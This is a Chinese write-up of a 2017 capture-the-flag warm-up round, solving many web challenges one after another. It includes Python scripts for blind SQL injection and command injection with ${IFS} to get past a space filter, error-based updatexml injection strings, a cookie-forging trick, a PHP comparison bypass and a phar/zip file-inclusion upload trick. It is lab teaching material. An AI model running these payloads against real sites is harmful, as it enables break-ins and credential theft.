Writeup

[2017X-nuca] 赛前热身Writeup

2017-08-14  本文已影响224人  Pr0ph3t

捉迷藏

进去之后查看源码:

sourceCode

发现有隐藏链接:Index.php (Linux中对url大小写敏感)
手动输入后发现被跳转回来
于是在命令行使用curl工具逃逸跳转(curl默认不跟随跳转)

poc

简单的问答

sourceCode

分析form后提交post(工具:HackBar)
PS:后台估计是没有处理q4字段,直接处理q3字段了


后台后台后台

Cookie

Member疑似Base64,Decode后发现是Normal,猜测这是基于Cookie的Auth,直接在浏览器控制台修改Cookie后点击Enter后获得Flag。


PHP是最好的语言

 <?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){ //foo反序列化后必须为数组或者能强制转换为数组
    is_numeric(@$a["bar1"])?die("nope"):NULL; //foo中包含一个k为bar1,v不能为数字的kv对
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL; 
        //此v必须大于2016,这里用到了PHP的一个弱类型特点,在PHP中,当'2017aaaaabbbb' 与数字2016比较时,PHP会尝试把前者转换成数字,故前者会被转换成2017,这与(int)'2017asdadasd' = 2017是符合的,看下面[图1]
    }
    if(is_array(@$a["bar2"])){ //foo中必须含有一个k为bar2,v为数组的kv对
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        //bar2的v中的数组元素必须等于5个,并且第一个元素必须还是为数组
        $pos = array_search("nudt", $a["a2"]);
        $pos===false?die("nope"):NULL;
        //foo中必须包含一个k为a2,v为nudt的kv对(我觉得出题人这里是想出成bar2中必须包含一个v为nudt的kv对)
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
            //bar2里面的元素不允许包含nudt字符串
        }
        $v2=1;
    }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
        //这里利用了eregi会被%00截断的特点构造payload绕过检测
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}
?>
图1

Login

<?php
$pwhash="ffd313052dab00927cb61064a392f30ee454e70f";

if (@$_GET['log']) {
    if(file_exists($_GET['log'].".log")){
        include("flag.txt");
}
}
if(@$_GET['page'] != 'index'){
    include((@$_GET['page']?$_GET['page'].".php":"main.php"));
}

?>

----------- main.php ----------

<html>
    <head>
        <title>trolol</title>
    </head>
    <body>
        <center>
            <a href="./?page=main">main</a>
            <a href="./?page=info">server info</a>
            <a href="./?page=login">login</a>
        </center>
    </body>
</html>

----------- login.php ------------

<?php
$login=@$_POST['login'];
$password=@$_POST['password'];
if(@$login=="admin" && sha1(@$password)==$pwhash){
    include('flag.txt');
}else if (@$login&&@$password&&@$_GET['debug']) {
    echo "Login error, login credentials has been saved to ./log/".htmlentities($login).".log";
    $logfile = "./log/".$login.".log";
    file_put_contents($logfile, $login."\n".$password);
} 
?>
    <center>
        login<br/><br/>
        <form action="" method="POST">
            <input name="login" placeholder="login"><br/>
            <input name="password" placeholder="password"><br/><br/>
            <input type="submit" value="Go!">
        </form>
    </center>

这一题比较迷。。因为题目逻辑貌似是直接随便包含一个log文件就能出flag。。
基本思路是,登陆带debug生成log然后在index.php里发log的参数。。
但是其实这一题估计是出题人改崩了。。。
王师傅有更6的解题思路。。。(我觉得这应该是正确的)。。
详情请移步http://www.jianshu.com/p/fd9f38753078


简单的文件上传


简单的JS

<script> 
p="60,105,102,114,97,109,101,32,104,101,105,103,104,116,61,48,32,119,105,100,116,104,61,48,32,115,114,99,61,34,46,47,
102,108,48,97,46,112,104,112,34,62"
p=eval("String.fromCharCode("+p+")"); 
document.write(p);
</script> 

在控制台解码后为

<iframe height=0 width=0 src="./fl0a.php">

访问http://218.76.35.75:20123/fl0a.php后查看cookie得到flag


PHP是一门松散的语言


简单的文件包含


简单的验证

#coding:utf8
import requests

se = requests.Session()

# -------- 简单的验证
for x in xrange(0,1000):
    res = se.get('http://218.76.35.75:20127/index.php',cookies={'user':'admin','guess':'%d' % x})
    print '[*] Trying ' + str(x)
    if 'not' not in res.content:
        print '[*] The guess num is ' + str(x)
        print '[*] Content----------'
        print res.content
        exit()
poc

GG

奇怪的地方

这里貌似是明示了一个js文件,名字是e100.js
访问一下发现是久违的jsFuck,直接丢进控制台就alert出flag了


Reappear

poc

DrinkCoffee


Default

<?php 

include "flag2.php";
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);"); 

直接上Payload


Vote

#coding:utf8

raw = '''echo '<br><a href="index.php">goBack</a><br>';
echo '</table>';
echo '<td>'.$arr[0].'</td><td>'.round($arr[1], 2).'</td></tr>';
$arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
echo '<tr><td>'.$arr[0].'</td>';
$arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
while ($r = mysql_fetch_array($q)) {
    echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
    echo '<table border="1">';
    echo '<p><b>Thank you!</b> Results:</p>';
    
    
    $q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");
    $q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
    $vote = 1;
    if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote'];
    $id = $_POST['id'];
    die('please select ...');
    if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) {
        $login = $_SESSION['login'];
    }
    $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
    if (!isset($_SESSION['login'])) {
        session_start();
        include 'db.php'; < ?'''

arr = raw.split('\n')
print '\n'.join(arr[::-1])

得出大概的源码

<? 
include 'db.php'; 
session_start();
if (!isset($_SESSION['login'])) {
    $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
}
$login = $_SESSION['login'];
if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id'])) if (isset($_POST['submit'])) {
    die('please select ...');
}
$id = $_POST['id'];
if ($vote > 5 || $vote < 1) $vote = (int) $_POST['vote'];
$vote = 1;
$q = mysql_query("INSERT INTO t_vote VALUES ({$id}, {$vote}, '{$login}')");
$q = mysql_query("SELECT id FROM t_vote WHERE user = '{$login}' GROUP BY id");


echo '<p><b>Thank you!</b> Results:</p>';
echo '<table border="1">';
echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
while ($r = mysql_fetch_array($q)) {
    $arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
    echo '<tr><td>'.$arr[0].'</td>';
    $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
    echo '<td>'.$arr[0].'</td><td>'.round($arr[1], 2).'</td></tr>';
}
echo '</table>';
echo '<br><a href="index.php">goBack</a><br>';

可以审计代码发现疑似是二次注入,利用的是id字段,这里有个小技巧就是利用hex来绕过is_numeric的检测
经过测试是没问题的,但是猜测可能id字段长度有限。。。。所以去information_schema.tables里面注入不了东西 被截断了
然后只能猜表名了。。。
最后猜到是t_flag表 字段为flag

poc

最后吐槽一下这题提示有点少。。。。。


Document

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>

include.php

<html>
Tips: the parameter is file! :) 
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file.'.php');
        }
    }
?>

发现并没有过滤zip或者phar协议
可以选择上传压缩包并用伪协议解压

这题有点坑的是不知道是谁写了个假flag在upload里面。。大家改得不亦悦乎23333333
我以为flag已经被改掉了

结果最后还是自己太菜了。。。
命令上find / | grep flag
能在/etc/.sshkey/flag.txt下找到flag
23333还是挺好玩的


阳光总在风雨后

如:and、or、|、空格、union、information、.....
这题有点坑。。过滤了information....也就是说表名要自己猜。。
最后猜到是admin
直接上脚本

#coding:utf8
import requests

se = requests.Session()

payload = '1\'%%(ascii(mid((select(group_concat(passwd))from(admin))from(%d)))=%d)%%\'1'
passwd = ''

for x in xrange(1,34):
    for y in xrange(33,127):
        res = se.post('http://218.76.35.74:20130/login.php',data={'uname':payload % (x,y), 'passwd' : 'fuck'})
        if 'password error!!' in res.content:
            print chr(y)
            passwd += chr(y)
            break
        else:
            print payload % (x,y)
    print '[*] passwd = ' + passwd
print '[*] passwd = ' + passwd

跑出来密码是:
50f87a3a3ad48e26a5d9058418fb78b5

去cmd5碰撞

result

拿admin、shuangshuang登陆进去之后是一个命令执行的界面

命令执行

ls一下发现只有index.php
ls ../admin发现没有结果
猜测是把空格过滤了,试试系统变量${IFS}可以绕过,然后尝试读取上一级目录发现只有login.php回显,不对劲,因为上一级目录是肯定存在index.php的,这里猜测是后台只截取了最后一行的输出,那这里可以使用head命令输出第一行
命令执行绕过http://blog.csdn.net/qq_27446553/article/details/73927518

这里偷个懒直接写脚本了。。

#coding:utf8
import requests
import re

se = requests.Session()
cookie = {'PHPSESSID' : '5cpbv7knav0mfshnmn5a2u3ku4'}
url = 'http://218.76.35.74:20130/admin/index.php'

for x in xrange(1,30):
    payload = r'find${IFS}/${IFS}|grep${IFS}flag|head${IFS}-n${IFS}' + str(x)
    res = se.post(url,cookies=cookie,data={'ord' : payload})
    feedback = re.findall(r'<div class="login-content">.*<p>(.*)</br>命令执行完成!.*',res.content, re.M|re.S)
    print feedback[0].strip()
flag

这个有点可疑
cat之后出flag

poc

试试XSS

poc1 poc2

这题要吐槽的是下面的payload不行。。。??why???

' onerror='alert(document.domain)'


http头注入

http://1' || 1=(updatexml(1,concat(0x3a,(查询语句)),1)) || '

结果如下:
库名:http://1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '
ctfweb20110
表名:http://1' and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema = 'ctfweb20110')),1)) and '
flag,visits
字段名:http://1' and 1=(updatexml(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name = 'flag')),1)) and '
id,flag
查flag:http://1' and 1=(updatexml(1,concat(0x3a,(select flag from flag)),1)) and '


最安全的笔记管理系统


......
待更新

上一篇下一篇

猜你喜欢

热点阅读